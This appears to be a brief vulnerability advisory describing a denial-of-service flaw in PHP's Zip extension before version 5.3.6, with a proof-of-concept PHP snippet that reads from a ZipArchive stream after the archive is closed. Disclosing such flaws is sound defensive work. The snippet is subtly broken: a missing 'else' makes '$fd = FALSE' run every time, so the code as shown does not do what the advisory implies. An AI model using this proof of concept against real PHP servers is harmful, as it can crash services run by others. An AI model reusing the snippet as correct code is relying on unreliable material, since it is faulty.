PHP is prone to a remote denial-of-service vulnerability that affects the 'Zip' extension.

Successful attacks will cause the application to crash, creating a denial-of-service condition. Due to the nature of this issue, arbitrary code-execution may be possible; however, this has not been confirmed.

Versions prior to PHP 5.3.6 are vulnerable.

$target_file = 'META-INF/MANIFEST.MF';

$za = new ZipArchive();

if ($za->open('test.jar') !== TRUE)

{

return FALSE;

}

if ($za->statName($target_file) !== FALSE)

{

$fd = $za->getStream($target_file);

}

{

$fd = FALSE;

}

$za->close();

if (is_resource($fd))

{

echo strlen(stream_get_contents($fd));

}
